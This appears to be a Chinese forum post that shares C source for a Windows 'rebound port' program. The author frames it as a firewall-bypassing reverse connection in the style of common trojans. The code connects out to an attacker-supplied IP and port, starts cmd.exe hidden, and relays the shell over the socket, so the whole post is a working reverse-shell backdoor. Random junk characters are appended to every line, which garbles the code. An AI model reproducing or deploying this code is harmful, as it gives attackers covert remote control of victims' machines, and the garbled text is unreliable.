Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 s9Aq-N  
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/* ============================== bqAv)2  
Rebound port in Windows NT $=GZ
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By wind,2006/7 #:?vpV#i  
===============================*/ e&(Di,%:  
#include jz2W/EE`w  
#include QNH5Cq;Y  
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#pragma comment(lib,"wsock32.lib") -\!"Kz/  
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void OutputShell(); V{[vIt*  
SOCKET sClient; w|>O!]K]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &dkjT8L$  
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void main(int argc,char **argv) @iwg`j6ol  
{ czf|c  
WSADATA stWsaData; gs_nUgcA  
int nRet; }*4K]3et$  
SOCKADDR_IN stSaiClient,stSaiServer; tc@([XqH  
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if(argc != 3) ^\uj&K6l  
{ <tbsQ3  
printf("Useage:\n\rRebound DestIP DestPort\n"); *@r)3  
return; 5h^U
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} MNKB4C8>  
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WSAStartup(MAKEWORD(2,2),&stWsaData); -$4#eG%3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p`3pRrER  
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stSaiClient.sin_family = AF_INET; t YmR<^  
stSaiClient.sin_port = htons(0); ?2;r#)  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q2)z1'Wv  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :*"0o{ ie  
{ 4#Fz!Km  
printf("Bind Socket Failed!\n"); ruL
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return; &zr..i4O  
} UNJ]$x0  
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stSaiServer.sin_family = AF_INET; V11Zl{uOl  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zM^ux!T=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4w:_4qyb  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \KmjA)(  
{ eGS1% [  
printf("Connect Error!"); MH`H[2<\!,  
return; 0SXWt? }  
} hgCeU+H  
OutputShell(); XU Hu=2F  
} (DCC4%w"  
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void OutputShell() P"%i 4-S  
{ "]ow1{  
char szBuff[1024]; -So&?3,\A@  
SECURITY_ATTRIBUTES stSecurityAttributes; '~3a(1@8  
OSVERSIONINFO stOsversionInfo; :cmfy6h]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8V
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STARTUPINFO stStartupInfo; SB1\SNB  
char *szShell; @O<kjR<b  
PROCESS_INFORMATION stProcessInformation; h:3`e`J<h  
unsigned long lBytesRead; HPAd@5d(  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;6I{7[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rHu#  
stSecurityAttributes.lpSecurityDescriptor = 0; a3L]'E'*#  
stSecurityAttributes.bInheritHandle = TRUE; O&=?,zLO[  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nKJJ7'$'3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UB
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lM C4j  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g83!il\  
stStartupInfo.wShowWindow = SW_HIDE; ]BU,*YaB  
stStartupInfo.hStdInput = hReadPipe; 7'_zJI^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; AG2iLictv  
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^  
GetVersionEx(&stOsversionInfo); .9WJ/RKZ\D  
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switch(stOsversionInfo.dwPlatformId) KE+y'j#C3  
{ 8@|_];9#.  
case 1: >b#z o,  
szShell = "command.com"; qx<`Kc4  
break; yOGaW~  
default: KL!k'4JNY  
szShell = "cmd.exe"; P8e1J0A  
break; [1'`KJ]  
} x2.G1  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C_?L$3 U0  
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send(sClient,szMsg,77,0); |C@)#.nm[  
while(1) ho2o/>Ef3  
{ n*%<!\gJ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 34 W#  
if(lBytesRead) ZGa>^k[:  
{ \pB"R$YZ6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?'p`Qv  
send(sClient,szBuff,lBytesRead,0); eMVfv=&L<3  
} b&A+`d  
else L$h.VQv+  
{ I+w3It  
lBytesRead=recv(sClient,szBuff,1024,0); w-R>gdm  
if(lBytesRead<=0) break; q
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l}%!&V0  
} ?@l9T)fF  
} j|9;") 1  
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return; V^=z\wBZ  
}